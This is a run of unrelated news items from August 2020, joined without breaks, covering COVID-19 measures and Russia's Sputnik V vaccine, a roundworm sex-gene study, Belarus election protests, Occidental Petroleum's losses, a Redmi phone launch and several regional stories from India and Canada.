recently renewed a six-year lease. A New Jersey man is accused of throwing hot coffee at a QuickChek convenience store employee after allegedly refusing to cover his nose with his mask, police said. John Dedolce, 42, was in the Hanover, N.J. QuickChek when an employee asked him to cover his nose with his mask, which was only covering his mouth, Hanover police said. When Dedolce refused, the cashier canceled his transaction and asked him to leave, police said. Dedolce tossed the food in his order on the ground and threw a cup of hot coffee at the cashier, police said. The cashier complained of pain in her legs, police said. The cashier was able to write down Dedolces license plate number as he was leaving the parking lot, and a complaint summons for simple assault, endangering another person and violating an executive order were mailed to his home, police said. Masks have been required inside all stores and retail businesses in New Jersey since Gov. Phil Murphy signed an executive order mandating them on April 8. Under a bill proposed in the state Assembly, people who refuse to wear a mask could face up to 30 days in jail and a $500 fine. Katie Kausch may be reached at kkausch@njadvancemedia.com. Tell us your coronavirus story or send a tip here. Biological sex is typically understood in binary terms: male and female. However, there are many examples of animals that are able to modify sex-typical biological and behavioral features and even change sex. A new study, which appears in the journal Current Biology, identifies a genetic switch in brain cells that can toggle between sex-specific states when necessary, findings that question the idea of sex as a fixed property. The research-- led by Douglas Portman, Ph.D., an associate professor in the University of Rochester Department of Biomedical Genetics and the Del Monte Institute for Neuroscience -was conducted in C. elegans, a microscopic roundworm that has been used in labs for decades to understand the nervous system. Many of the discoveries made using C. elegans apply throughout the animal kingdom and this research has led to a broader understanding of human biology. C. elegans is the only animal whose nervous system has been completely mapped, providing a wiring diagram - or connectome - that is helping researchers understand how brain circuits integrate information, make decisions, and control behavior. There are two sexes of C. elegans, males and hermaphrodites. Though the hermaphrodites are able to self-fertilize, they are also mating partners for males, and are considered to be modified females. A single gene, TRA-1, determines the sex of these roundworms. If a developing worm has two X chromosomes, this gene is activated and the worm will develop into a female. If there is only one X chromosome, TRA-1 is inactivated, causing the worm to become a male. The new study shows that the TRA-1 gene doesn't go completely silent in males, as had been previously thought. Instead, it can go into action when circumstances compel males to act more like females. Typically, C. elegans males prefer searching for mates over eating, in part because they can't smell food, as well as females, do. But if a male goes too long without eating, it will dial up its ability to detect food and acts more like a female. The new research shows that TRA-1 is necessary for this switch, and without it hungry males can't enhance their sense of smell and stay locked in the default, food-insensitive mate-searching mode. TRA-1 does the same job in juvenile males - it activates efficient food detection in males that are too young to search for mates. These findings indicate that, at the molecular level, sex isn't binary or static, but rather dynamic and flexible. The new results suggest that aspects of the male nervous system might transiently take on a female 'state,' allowing male behavior to be flexible according to internal and external conditions." Douglas Portman, PhD, Associate Professor, Department of Biomedical Genetics, University of Rochester A separate study appearing Current Biology by a team of collaborating researchers at Columbia University further describes the complex molecular mechanism by which TRA-1 is controlled by sex chromosomes and other cues. New Zealand's world-beating run of being covid-free has come to an end, with the detection of new cases prompting the government to put largest city Auckland into lockdown. Authorities have detected four cases of coronavirus in one Auckland household from an unknown source, and contact tracing is now underway to prevent further spread, Prime Minister Jacinda Ardern said late on Tuesday. New Zealand had recorded 102 days of no community transmission, with its only cases quarantined at the border. "No other country in the world was free of community transmission as long as New Zealand," Ardern told reporters. "Together we have beaten the virus before. We can do so again." New Zealand's economy rebounded faster than expected from a nationwide lockdown in April and May, with confidence boosted by its covid-free status. Elimination of the virus also fanned support for Ardern's Labour Party ahead of the Sept. 19 general election. Today's news means "there are almost certainly other active cases of covid-19 present in Auckland at the moment," said Shaun Hendy, a professor at University of Auckland. "There is also a chance the disease will have spread to other parts of the country." From noon on Wednesday, Auckland will move to level 3 on New Zealand's covid alert system, signaling people should stay at home if possible and avoid contact with others. Schools will close for most pupils while bars and restaurants will also shut. This will remain in place for three days, and the rest of the country will go to level 2 restrictions that include social distancing and limits on the size of gatherings. Health officials had warned it was only a matter of time before the virus returned. "This is something we have prepared for," Ardern said. "Now that moment has arrived. So my request is not to be dispirited or disheartened. I'm asking that everyone joins us on that journey again." Some 83,000 restaurants, cafes, and other food establishments have signed up to the scheme. Photo: PA Brits have rushed to take advantage of the governments new Eat Out to Help Out scheme, with 10.5 million meals using the discount programme in the first week alone. HMRC tweeted on Tuesday that 10.5 million covers had been claimed for in the first week of the schemes operation. Brits saved a total of 53.7m ($70.4m) as a result of the scheme. Thats more chefs cooking, more waiters and waitresses serving and over 80,000 hospitality businesses supported across the country, chancellor Rishi Sunak said on Twitter. Eat Out to Help Out offers diners discounts of up to 50% on bills when dining out for a sit-down meal, to a maximum of 10 per head. The programme only runs Monday to Wednesday throughout August and excludes alcohol. Some 83,000 restaurants, cafes, and other food establishments have signed up to the scheme, ranging from chains like KFC and McDonalds to Michelin star restaurants. Watch video below READ MORE: Eat Out to Help Out scheme drives 14% surge in eating out 22,000 premises claimed during the first week of the scheme, although just 14,000 businesses made claims, suggesting outlets with two or more locations were benefiting from the programme. The Treasury budgeted 500m to cover the programme when it was first announced in early July. The chancellor said at the time around 130,000 businesses were eligible for the scheme, which he hoped would protect 1.8 million jobs. The COVID-19 pandemic has hit the hospitality and leisure sector particularly hard, with lockdown forcing the complete closure of many businesses for months. Separate figures released by the Office for National Statistics (ONS) on Tuesday show 136,000 jobs were lost in the accommodation and food services industries between April and June, more than any other sector of the economy. Consumer spending app Yolt said on Monday its data showed a 14% week-on-week rise in eating out during the first week of Eat Out to Help Out. READ MORE: Lockdown drives delivery boom for Domino's Pizza Samuel Tombs, chief UK economist at Pantheon Macroeconomics, said on Twitter that the scheme had probably convinced some people to shift their bookings earlier in the week to take advantage of the discount. Nonetheless, the latest OpenTable data seem to be consistent with a net rise in the weekly number of people eating out, he wrote. A coastal Mississippi high school sent 100 students home Tuesday morning after a teacher at the school reported mild COVID-19 symptoms to administrators, the Gulfport Sun Herald reported. We are just being proactive, following our strict protocols following our students and our staff, Gulfport School District spokeswoman Sandy Commer-East told the paper. It could be allergies. We dont know, but we are not taking a chance. Not all 100 students may have had significant exposure to the teacher, the Sun Herald reported, but the school decided to send home anyone who had been in a class with the teacher for self-quarantine. Commer-East said the students would have to be in quarantine for two weeks if the teacher tests positive for the coronavirus. The district only plans to conduct secondary contact tracing on the students if they start showing symptoms. But if we send them home today, its highly unlikely that theyre spreading anything, Commer-East said. The large quarantine in Mississippi is the first on the states Gulf coast, according to the Sun Herald. On the first day of the re-opening of schools in some Alabama districts Thursday, five students were sent home to quarantine at a Mobile County school after they were exposed to someone who tested positive for the coronavirus. Linas Linkevicius made the statement on Twitter on Tuesday. It comes after Sviatlana Tsikhanouskaya refused to concede defeat in Sundays vote and dismissed the official results showing authoritarian President Alexander Lukashenkos landslide victory as a sham. She submitted her formal demand for a recount to Belarus Central Election Commission on Monday. Thousands of opposition supporters protested against the official vote results, facing a tough police crackdown in Minsk and several other cities. On Monday, a protester died amid the clashes in Minsk and scores were injured as police used tear gas, flash-bang grenades and rubber bullets to disperse the demonstrators. Interior Ministry spokesman Alexander Lastovsky said the victim intended to throw an explosive device but it blew up in his hand and killed him. Mr Lukashenko, who has led the ex-Soviet nation of 9.5-million with an iron fist since 1994, derided the opposition as sheep manipulated by foreign masters. Advertisement Election officials said Mr Lukashenko won a sixth term in office with 80 per cent of the vote while Ms Tsikhanouskaya got 10 per cent. After submitting her recount request on Monday, Ms Tsikhanouskaya said: I have made a decision, I must be with my children. She had earlier sent her children to an unspecified European country after receiving threats. TOP the organic project launches Plant the Change campaign TOP the organic project, a women-owned period product brand that makes plant-based, 100% organic cotton tampons and pads, will Plant the Change starting August 19th and advocate for all women to seek a deeper understanding of their own health, well-being and the environment. Thyme Sullivan, TOP CEO While 2020 has been full of uncertainty, it has also been a year of collective growth for women around the world. In light of this, TOP the organic project (TOP) is launching a new initiative, Plant the Change, encouraging its female community to take a pause and make a pledge to do better, together in big and small ways. TOP, a women-owned period product company that makes plant-based, 100% certified-organic cotton tampons and pads, will Plant the Change starting on August 19 and advocate for all women and girls to be introspective and seek a deeper understanding of their own health and well-being, the environment as well as social change. The initiative, running until the end of September, is aimed to empower females to embrace this years many challenges by trying to find the good and creating change for the better. This year has forced many of us to change, says Thyme Sullivan, TOP co-founder and CEO. Its been a devastating year on so many levels and has impacted each of us in many different ways. At TOP, were choosing to find the silver lining by pledging to make positive improvements and focus on what matters most. Were asking our community to join us. We all have the power to make change and are encouraging women around the world to vow to take better care of their bodies, health, the environment or any other causes that are close to their hearts. Here is how TOPs Plant the Change initiative works: Make a Pledge. We invite our community to visit https://toporganicproject.com/pages/plant-the-change and make a personal pledge to commit to causes most important to them big or small. It can be as simple as pledging to swap out their tampons for plant-based, organic ones and thus, protecting the planet and their personal health. Or, by promising to donate time to a local nonprofit, grabbing groceries for a neighbor, tutoring kids in need, supporting local businesses, voting, getting involved in Black Lives Matter, leading a plant-based lifestyle, being kinder to strangers or anything else they see fit. In addition to their pledge, participants can share a photo (a selfie, pet, favorite plant, etc.) and their city. And by doing so, TOP will highlight different members from its community throughout September to inspire all of us to make changes for ourselves, our families and our communities. Inspiring Change. Throughout August and September, TOP will call on female artists to creatively interpret and bring its Plant the Change initiative to life, using their own styles and incorporating plants, greenery, and other sustainable materials into their pieces. The artists and their photography, paintings, drawings and graphic designs will be featured on TOPs Instagram channels during the campaign. Whats more, in honor of each artist, the company will donate period products to a nonprofit, school or food bank of the artists choice. The brand is aiming to donate 20,000 period products to support women and girls in need across the country as part of their charitable giving program. To date, TOP has given 250,000 products to organizations dedicated to helping women and girls who need it the most. About TOP the organic project: TOP the organic project is an emerging, women-owned period product company based in Duxbury, MA, that aims to educate and empower women to make better choices about the products they consume and the impact they have on their bodies, as well as the environment. TOP offers 100% organic cotton, plant-based, hypoallergenic tampons and pads that are accessible to everyone with a give-back model that drives awareness of period poverty in the U.S. Founded by Thyme Sullivan and Denielle Finkelstein, mothers and seasoned executives with decades of relevant corporate experience, TOP dreams of a world in which every girl and woman has access to healthy, organic period products that are good for them and the planet. To learn more, visit http://www.toporganicproject.com. Instagram & Facebook: @TOPOrganicProject | Twitter: TOP_ORGANIC | TikTok: @top_tampon http://www.toporganicproject.com. Lakhimpur Kheri : , Aug 11 (IANS) Sugarcane farming is emerging as a major problem between UP and Nepal. Nepali farmers reportedly have started cultivating sugarcane at the "no man's land" in Gauriphanta area of the district. Manoj Sonkar, Deputy Director of Dudhwa Tiger Reserve, said, "Nepal nationals have started farming in 'no man's land' on the edge of the forests of Dudhwa. We have informed the SSB and the District Magistrate. Indian officials have spoken to their Nepali counterparts about the latest encroachment being done by their nationals." Lakhimpur Kheri shares border with two Nepal districts -- Kailali and Kanchanpur. The crops have come up around pillar number 752/6 maintained by India -- the odd-numbered pillars are looked after by Nepal and the even numbered ones by India. A stretch 9.1 metre wide on both sides of the border pillars is demarcated as "no man's land", where no state has any jurisdiction. In June, some of these pillars had "gone missing". Munna Singh, SSB commandant of the 39th Battalion, which oversees the 63-km area along with the UP-Nepal border in the district, had then written to District Magistrate Shailendra Singh about the "encroachment". After holding meetings with the Nepal officials, the problem had been resolved. But soon after, Nepal officials were seen accompanying locals who were cremating dead bodies on the Indian side of the border on two occasions. "Noticing the development, the SSB officials have stepped up their vigil," Sonkar said. The kids are not all right The road to reopening for U.S. schools keeps getting rockier, with new research reflecting just how vulnerable children can be to the coronavirus. At the same time, some American parents, fearful of the potential consequences of remote learning, have filed lawsuits to demand in-person classes. During the last two weeks of July, at least 97,000 children in the United States tested positive for the virus, a new study found. States in the South and the West, where cases have sharply risen, accounted for more than 70 percent of the infections. At North Paulding High School in Georgia, whose packed halls were captured in a photo that went viral, at least nine cases have been reported, prompting administrators to switch to remote learning until Tuesday. And while much of the concern has been students capacity to spread the virus to older relatives, there are signs that childrens health can be severely affected. From March to July, nearly 600 young people in the United States, ranging from infants to age 20, got an inflammatory syndrome linked to Covid-19 that required most to be in intensive care. Nearly two-thirds had no underlying conditions, and most of their complications involved multiple organ systems. Occidental Petroleum is not planning to increase oil production next year but will instead focus on paying down its massive debt and strengthening its finances in the aftermath of the coronavirus-driven oil bust. The Houston independent also is looking to partner with other oil and gas companies to develop new drilling projects. The joint ventures would help Oxy save costs by pooling resources. I dont see us growing next year, CEO Vicki Hollub said in a conference call with analysts Tuesday. We will spend $2.7 billion to $2.9 billion in maintenance capital to keep production flat next year and use all available cash to retire our debt. Thats our highest priority for next year. The pronouncement came as the Houston independent posted a steep second-quarter loss of $8.4 billion compared with a profit of $635 million during the same period a year ago. Second quarter revenue fell by one-third to about $3 billion, down from about $4.5 billion during the same period a year ago. Oxy, saddled with debt from its $38 billion acquisition of Anadarko Petroleum last year, wrote down the value of its oil and gas assets by $6.6 billion to reflect low crude prices. The average price of Oxys oil fell about 61 percent to $23.17 per barrel in the second quarter, down from $58.91 per barrel the same period last year. $64,000 QUESTION: Can Houston-based Occidental Petroleum survive the oil crash? Oxy has slashed spending, laid off workers and cut its dividend for the first time in three decades. It also is trying to sell billions of dollars of assets to reduce nearly $40 billion in debt incurred after the Anadarko acquisition, which made the combined company the largest player in the prolific Permian Basin of West Texas. The megadeal represented a huge bet on oil prices rising a bet that went bad after the coronavirus pandemic shut down economies around the world. Oxy suffered a major setback in May when French oil major Total backed out of its deal to purchase the companys offshore Ghana assets because of low oil prices caused by the pandemic. The company also was unable to sell its Algerian assets and has taken them off the market. Its not that we gave up on selling Algeria, Hollub said, adding that she believes those assets will be as competitive as its U.S. shale plays. We want to be in Algeria. Algeria is a core area for Oxy. Jennifer Rowland, an energy analyst with Edward Jones, said this is a challenging time for energy companies to sell oil and gas assets, given low crude prices and increasing moves toward wind, solar and other renewable energy as climate concerns mount. European majors are trying to spin the story on a lower carbon future and ultimately trying to shift their portfolio away from traditional oil and gas, Rowland said. To go out and spend a couple billion dollars on oil and gas assets isnt going to jibe with that story. Hollub earlier warned Oxy might not be able to sell its assets quickly enough to repay its debt, but she struck a more optimistic tone Tuesday on the companys ability to complete $2 billion worth of assets sales this year and another $2 billion to $3 billion of sales by the middle of next year. During the second quarter, Oxy sold 190,000 acres in Uinta Basins Greater Natural Buttes gas field in Utah, for $87 million. The company also has selected a bidder to purchase its mineral interests in Wyoming. It is reportedly in talks with Indonesias state oil company Pertamina to sell $4.5 billion of assets in Africa and the Middle East, according to Bloomberg. FUEL FIX: Get energy news sent directly to your inbox While some companies tried to be opportunistic with us and tried to get our assets at a discount, weve discarded those and moved to more serious bidders, Hollub said. We wont sacrifice value to close transactions quickly. Oxy, however, may not have the luxury of time, Rowland said. Oxy reported $1.1 billion of cash on hand at the end of the second quarter, down from $3.6 billion at the start of the quarter, as well as $5 billion line of credit. However, it has $6.4 billion of debt coming due in 2021 and $4.7 billion coming due in 2022. Theyve got some runway, but its relatively short, Rowland said. They need to get their balance sheet in order. They need to make progress on asset sales. Oxys stock fell $1.32 per share, or 8 percent, to close at $15.16. paul.takahashi@chron.com twitter.com/paultakahashi PALGHAR: A local court on Monday (August 11) granted default bail to 28 accused in the April 16 Palghar mob-lynching case in which two seers and a driver were killed. The accused were granted bail by the court as no chargesheet was filed against them within the specified 90 days. The 28 accused were arrested as part of the first two FIRs relating to murder and attempt to murder filed in the case. However, of this group, only 10 will get bail while the remaining 18 will be taken into custody again as their names figure in the third chargesheet, filed on August 3 before the Dahanu court, relating to obstructing police, rioting and attempt to murder filed against 47 accused. These 28 accused were arrested between April 18-30 this year. The 28 accused who were arrested, but whose names did not figure in the two charge sheets, moved bail applications, which came up on August 10. They have been lodged in judicial custody in various jails in Palghar and Thane districts owing to the COVID-19 pandemic. A total of 154 people were arrested in the mob lynching case, which took place late night on April 16 in Gadchinchale village in Kasa area of Palghar. On the night of April 16, Sadhus Kalpavruksha Giri (70) and his assistant Sushilgiri Maharaj (35) and their driver Nilesh Telgade (30) were killed while en route from Mumbai to Surat for a funeral during the lockdown. Taking them as robbers or kidnappers, a huge mob of tribals and villagers attacked them with stones, sticks, and sickles and the trio later succumbed to the grievous injuries, sparking off a nationwide furore. Thank you for reading! Please log in, or sign up for a new account and purchase a subscription to continue reading. Former BJP district chief Sanjay Khokhar was shot dead at his farm in Baghpat when he went out for a morning walk on Tuesday. The incident took place in Chaprauli area of the Uttar Pradesh district. According to reports, three unidentified men opened fire at Khokhar when he was out on a morning walk. A video doing the rounds on social media showed Khokhar lying in a pool of blood in a narrow alley between the fields with big crowd of villagers and police personnel taking stock of the situation. Chief Minister Yogi Adityanath has expressed grief at the killing and directed the police officials to arrest the culprits within 24 hours. A Halifax councillor says the city's recent decision to allow certain types of properties to have backyard or secondary suites is a way to create more affordable and accessible housing in the city. Council voted last month to allow single-detached homes, duplexes, semi-detached houses or townhouses to have secondary or backyard suites. The accessory dwelling units would include units contained within a home like a basement or attic apartment, and backyard suites that are separate free-standing buildings like granny suites or tiny homes. Shawn Cleary, who is the councillor for Halifax West Armdale, said the city is in the middle of a housing crisis and accessory dwelling units will create more affordable options. "If we give people the opportunity to add an apartment to a house ... that could be huge, not only for them in their own personal finances, but huge for the people who are desperately looking for an apartment," he said in an interview with CBC Nova Scotia News At Six on Monday. CBC The overall vacancy rate in Halifax sits at one per cent, according to a 2020 study by the Canada Mortgage and Housing Corporation. An ideal vacancy rate would be three per cent, according to a report from Royal Bank of Canada Economics released last September. Cleary said many young families want to move back into the urban core but can't afford half-million dollar homes, so basement or attic apartments will help that demographic. However, detached backyard suites could help elderly couples looking to downsize or people with disabilities. Paul Vienneau, the city's accessibility consultant, said it's the responsibility of the city to always consider accessibility. "If you're going to have your mother-in-law or an elderly person live in your backyard, putting them above the car in the garage is kind of silly because they may not be in a wheelchair right now, but after a few years of dragging themselves up and down steep steps, they're going to need one ... so I think having standards for these to be accessible as much as possible, to me, is the smart and responsible thing to do," he said. Story continues CBC Property owners hoping to build secondary suites will still have to follow standard land-use bylaw requirements in their area. Secondary suites within a home must have a maximum floor area of 80 square metres and backyard suites must not exceed 90 square metres. City council will be hosting a virtual public hearing about secondary and backyard suites on Sept. 1 at 6 p.m. AT. MORE TOP STORIES India's third Covid wave likely to peak on Jan 23, daily cases to stay below 4 lakh: IIT Kanpur scientist India among 20 countries interested in obtaining COVID-19 vaccine from Russia India oi-Deepika S New Delhi, Aug 11: At least 20 countries had expressed interest in obtaining the Sputnik V, including UAE, Saudi Arabia, Indonesia, Philippines, Brazil, Mexico and India, reports Russia has become the first country in the world to register a vaccine against COVID-19, President Vladimir Putin announced on Tuesday during a government meeting. "A vaccine against coronavirus has been registered for the first time in the world this morning," Putin said during a meeting with members of his government. "I know that it works quite effectively, it forms a stable immunity," the official Tass news agency quoted Putin as saying. Coronavirus: Russia claims first Covid-19 vaccine 'Sputnik V', WHO wants to review | Oneindia News Putin's claim has come amidst concerns raised by experts about the speed of Russia''s work, suggesting that researchers might be cutting corners. Sputnik V: Russia registers World's first Covid-19 vaccine, Putin's daughter among those inoculated Amid fears that safety could have been compromised, the World Health Organization (WHO) urged Russia last week to follow international guidelines for producing a vaccine against COVID-19, the BBC reported. The Russian vaccine is not among the WHO's list of six vaccines that have reached phase three clinical trials, which involve more widespread testing in humans, the report noted. Putin said that one of his daughters had tested a Russian COVID-19 vaccine on herself and that she is feeling well. He said that the first Russian COVID-19 vaccine forms stable cell and antibody immunity. "I know this very well, because one of my daughters got vaccinated, so in this sense, she took part in testing," Putin said. The vaccine has been named Sputnik-V. The name is a reference to the surprise 1957 launch of the world''s first satellite by the Soviet Union. The treatment is yet to go through crucial Phase 3 trials where it would be administered to thousands of people. President Putin noted that after the first vaccine shot, his daughter had a 38C fever, and on the next day, a fever slightly higher than 37C. "And then, after the second shot, she had a slight fever again, and then everything was fine, she is feeling well and has a high [antibody] count," Putin said. Russian Health Minister Mikhail Murashko said that clinical trials of the vaccine developed by the Gamaleya National Research Center for Epidemiology and Microbiology of the Russian Healthcare Ministry were over. Medical workers and teachers will be the first to get the COVID-19 vaccine, he said. "We will begin the stage-by-stage civilian use of the vaccine. First and foremost, we would like to offer vaccination to those who come into contact with infected persons at work. These are medical workers. And also those who are responsible for children's health - teachers," the minister said. The vaccine has two separately-injected components that together are expected to build a long-term immunity against the virus, the Sputniknews reported. Clinical trials of the vaccine kicked off on June 18 and included 38 volunteers. All of the participants developed immunity. The first group was discharged on July 15, the second group on July 20. It will appear in circulation starting on January 1, 2021, the website of the State Register of Pharmaceuticals reported on Tuesday. "Date of introduction to the civilian circulation - 01.01.2021," the site noted. It had been reported that the Gamaleya centre has developed two forms of the vaccine - a liquid and a freeze-dried one. Health Minister Murashko said that the vaccine against the coronavirus infection will be produced in Russia on two sites. Russia has received a request for the production of one billion doses of the COVID-19 vaccine from 20 states, head of the Russian Direct Investment Fund (RDIF) Kirill Dmitriev said during an online conference. "We have received preliminary requests for the purchase of over 1 bln doses of the vaccine from 20 states. We are ready to ensure production of over 500 mln vaccine doses along with our foreign partners in five countries, and we plan to increase our production capacity further," he said. According to Dmitriev, several Latin American, Middle Eastern and Asian states have expressed an interest in purchasing the Russian vaccine. Several contracts have been finalised. He noted that there was great interest from Brazil and India, with over five countries working actively with Russia to start the vaccine's production. According to the tally kept by Johns Hopkins University, coronavirus has infected more than 20 million people worldwide. Last week, the Democratic governor of New York, Andrew Cuomo, announced that he would allow schools to reopen for the 4.4 million public school students in the state if the statewide infection rate is under 5 percent of those tested. School districts will be allowed to choose whether or not to resume in-person instruction after a plan has been submitted to the state education department. The week before, the Democratic mayor of New York City, Bill de Blasio, announced that the citys 1.1 million students would attend a hybrid learning programwhich alternates in-person and remote instructionif the infection rate is under 3 percent of those tested citywide. Teachers protest against unsafe school reopening, August 3, 2020, in New York. (AP Photo/Bebeto Matthews) Both plans are shoddy and leave so many unanswered questions about the implementation of safety measures for staff and students that educators and parents have widely rejected them as bogus. The World Socialist Web Site has noted that Cuomos announcement is an endorsement of Wall Streets back-to-work plan to reopen the economyin the midst of the coronavirus pandemic in which 1,000 Americans are dying dailyso that the working class can generate profit for the ultra-wealthy, regardless of the consequences. The World Socialist Web Site Educators Newsletter spoke to several educators and students about Cuomos announcement. One teacher in the Albany area told us: Were experiencing different infection rates in various parts of the state, so local plans make some sense. However, that leaves open the possibility of poorly developed plans, especially among poorly resourced districts and those dominated by right-wing politics. Cuomos approach represents an abdication of the states responsibility. The state is not providing enough support. Much more money and other aid is needed in order to develop adequate protection plans. These poorly developed plans will probably lead to a spike in infections. We noted how the infection and death rates in New York state have been reduced considerably since their peaks a few months ago and asked the teacher if he thought it was safe to conduct in-person classes under current conditions. No, it is not, he answered. The reductions were due to the use of masks, social distancing, and other protective measures. Reopening will create conditions to renew the spread of the virus. Poorly resourced schools are without proper facilities: ventilation, sanitation, PPE, testing, adequate distancing. Renewed shutdown after infection rates increase, as envisioned by Cuomo, will mean that there are new, unnecessary victims. This is the assumption inherent in Cuomos plan. Discussing whether parents, teachers and students have been adequately consulted in the Albany area, the teacher replied: Parents are under enormous stress to do right by their children. Those with limited means are under especial pressure, caught between the need to keep their children safe and the need to go to work. The majority opting for keeping their children home, despite the economic pressure, indicates their extreme fear of the disease. Being asked to return to work in an environment that is unsafe for faculty and students is daunting. This is exposing the decades of underfunding of education and lack of adequate facilities such as affordable daycare. This will not be a normal environment, especially for special needs and English-language learners who will be in school five days a week. They will constantly be reminded that they are being singled out and put in increased danger as compared to other students. I expect there will be wildcat strikes as were seen a few years ago in West Virginia and elsewhere. The rhetoric of the unions is becoming more militant, but the plans proposed do not follow their statements. Andy Pallotta [New York State United Teachers president] is merely saying to follow state guidelines, while posturing as a defender of teachers. The unions will be okay with sending teachers back into unsafe conditions. The state does the bidding of the ruling class. It is pushing students back to school to get the economy back. What is especially telling is that Cuomo has just recently restated his opposition to raising taxes on the rich because they would leave the state. New York could continue the lockdown if resources from the rich were used to support families and keep children home until adequate testing, tracing and quarantining are in place. A high school teacher in Manhattan, who did not want her name used, said that her teenage son had too much difficulty with remote learning. She feels compelled to send him for in-person learning if his school reopens, adding that she is trying to get a personal medical leave so that she can stay home and do remote teaching. I am terrified because my mother has Alzheimers and I am her caregiver. I bring my kids to see her, otherwise she has no visitors. They are throwing teachers back on the fire. All science proves it is dangerous to go back to work. Reopening is not safe. My students take city buses to school. In my neighborhood, most people are not wearing masks, or just hang them off their ears or not covering their noses. I think it is because there has not been enough education by the city government. They should have signs all over and enforce mask wearing. I agree with what I read from the WSWS. In my school a few teachers have formed a committee for safe reopening. We sent a letter to parents that it would not be safe, urging them to choose not to send their children for in-person teaching. One-third of the parents have chosen remote learning for their children. We spoke to the principal and called the other teachers, who generally follow the lead of the principal. Seventy-five percent of the teachers agreed to the letter and the principal agreed that we could send it but not with a school heading, just as teachers of the school. I have also been able to talk with teachers from other schools who I meet with in a Zoom meeting. The majority of teachers are uncomfortable and against going back. The government is only interested in getting people back to work, not being safe or providing them with what they need. Richard, an 11th grade student from Brooklyn, New York, told the WSWS, Im nervous because I heard that one school that reopened early had to quarantine in the same day. He added, I personally dont think schools should do in-person learning at all until theres a vaccine, but I also worry about the impacts of being cooped up in their homes for most of the day, and what this might do for students mental health, since humans are naturally social beings. Im ashamed and disappointed that although were considered one of the top countries in the world, were basically the country with the most COVID-19 cases, while other countries have gotten it under control. I honestly thought that hospitals were going to offer free care for those with COVID, but I found out that people still have to pay to get treated as if COVID wasnt anything much. It just shows how much money is of importance in this society and it just saddens me. I think we should just keep unnecessary and nonessential businesses closed for a while, since cases are starting to rise again. Getting drinks and having a haircut or something small like that isnt all that important and necessary. I feel like if the rich can keep their kids from going to school, why is the public supposed to send their kids to school? When asked about the Socialist Equality Partys call for a nationwide general strike, Richard said, I think the proposal for a national strike to force companies and big businesses to shut down unnecessary businesses is really important and necessary, since we all need to voice our feelings and opinions and to say that this isnt right. Wealth shouldnt be prioritized over the lives of people and our lives shouldnt be at risk just so big businesses can continue to operate. The WSWS Educators Newsletter urges all parents, students and educators who oppose the unsafe reopening of schools and want to form rank-and-file safety committees in their schools and communities to stop the unsafe reopening of schools, to contact us and sign up for our email newsletter today. Xiaomis Redmi brand just announced Redmi K30 Ultra, the companys latest smartphone in the K series at its 10th anniversary event in China. It packs a 6.67-inch E3 Super AMOLED screen from Samsung with 120Hz refresh rate and 240Hz touch sampling rate, Corning Gorilla Glass 5 protection, is powered by Dimensity 1000+ processor, 5G SA/NSA support, has 3435mm VC liquid-cooled heat sink to reduce the temperature by up to 10, runs Android 10 with MIUI 12, comes with 3D glass back with Corning Gorilla Glass 5 protection, NFC and Hi-Res audio support. It has a 64MP 1/1.7 main sensor, 13MP 119 ultra-wide camera, 5MP (50mm equivalent) macro lens and a 2MP depth sensor. There is a 20MP pop-up front camera with 3D sensing system that can quickly sense falling and retreats. There is built-in multicolour notification LED. The K30 Ultra comes with a 4500mAh battery with support for 33W fast charging that can charge the phone fully in an hour. Redmi K30 Ultra specifications 6.67-inch (2400 1080 pixels) Full HD+ E3 AMOLED aspect ratio HDR10 + display with 120Hz refresh rate, 1200nit (HBM) / 500nit (Typ) brightness, 5000000:1 (Min) contrast ratio, 100% DCI-P3 Wide Color Gamut, Corning Gorilla Glass 5 protection Octa-Core (4A77 2.6GHz + 4A55 2.0GHz) Dimensity 1000+ 7nm processor with Mali-G77 MC9 GPU 6GB / 8GB LPDDR4x RAM with 128GB (UFS 2.1) storage / 8GB LPDDR4x RAM with 256GB / 512GB (UFS 2.1) storage Dual SIM (nano + nano) MIUI 12 based on Android 10 64MP rear camera with 1/1.7 Sony IMX686 sensor, 0.8m pixel size, f/1.69 aperture, 7P lens, 5MP (50mm equivalent) macro lens with 3cm ~ 7cm autofocus macro, 13MP 119 ultra-wide-angle lens, 2MP depth sensor with 1.75 m 20MP front-facing camera In-display fingerprint sensor, Infrared sensor USB Type-C audio, Hi-Res audio, Stereo speakers Dimensions: 163.375.49.1mm; Weight: 213g 5G SA/NSA Dual 4G VoLTE, Wi-Fi 6 802.11 ax (2.4GHz + 5GHz) MU-MIMO, Bluetooth 5.1, GPS (L1 + L5), NFC, USB Type-C 4500mAh (Typical) battery with 33W fast charging, QC 4+ / PD The Redmi K30 Ultra comes in Moonlight White, Midnight Black and Mint Green colours, is priced at 1,999 yuan (US$ 287 / Rs. 21,470 approx.) for 6GB + 128GB, 2,199 yuan (US$ 316 / Rs. 23,620 approx.) for 8GB + 128GB, 2,499 yuan (US$ 359 / Rs. 26,840 approx.) for 8GB + 256GB and the top-end 8GB + 512GB version costs 2,699 yuan (US$ 388 / Rs. 28,990 approx.). It is now available for order and will go on sale in China starting from August 14th. Source Democratic elections on the certain districts of Donetsk and Luhansk regions (ORDLO) are so far impossible, German Foreign Minister Heiko Maas said in an interview with Interfax-Ukraine. "The conditions for holding democratic elections in the areas not under government control, as provided for in the Minsk Agreements, have not been met as things currently stand," Maas said. "There have been some encouraging developments of late. The ceasefire is holding for the first time in a long while, which is giving the people of eastern Ukraine much-needed breathing space. Ukraine has demonstrated flexibility and goodwill in this regard," he said. Germany "continues to rely on constructive cooperation from Russia in the Normandy Format," he said. "Russia must bring its influence to bear in order to ensure that words are followed by deeds," Maas said. He also hailed Kyiv's plans to hold regional elections in October, saying that this is "a positive sign of the Ukrainians' democratic participation." Moscow is willing to discuss with New Delhi about the prospects of a bilateral cooperation on the new Sputnik V coronavirus vaccine that Russian President Vladimir Putin announced on Tuesday. New Delhi, however, is likely to tread cautiously, as it has taken note of the scepticism around the world over the Russian Presidents announcement. Sources told the DH that Moscow has already indicated to New Delhi its willingness to discuss terms of cooperation on the new coronavirus vaccine, including its production and distribution in India. Follow latest updates on the Covid-19 pandemic here Compliments to the Russian scientists who worked on the development of the first #COVID19 vaccine that was registered today! It is a big contribution to the global fight against the pandemic. A proud moment! Russias ambassador to India, Nikolay Kudashev, posted on Twitter. India, however, is likely to take a call only after assessing the safety and efficacy of the vaccine. Randeep Guleria, the Director of the All India Institute of Medical Sciences (AIIMS), said that New Delhi should exercise caution to first check the safety and efficacy of the vaccine developed by Russia before producing and distributing it in India. He, however, said that India had the capacity for large-scale production of the vaccine. India is also discussing with China, Russia, Brazil and South Africa a proposal to set up a BRICS Vaccine Research and Development Centre. 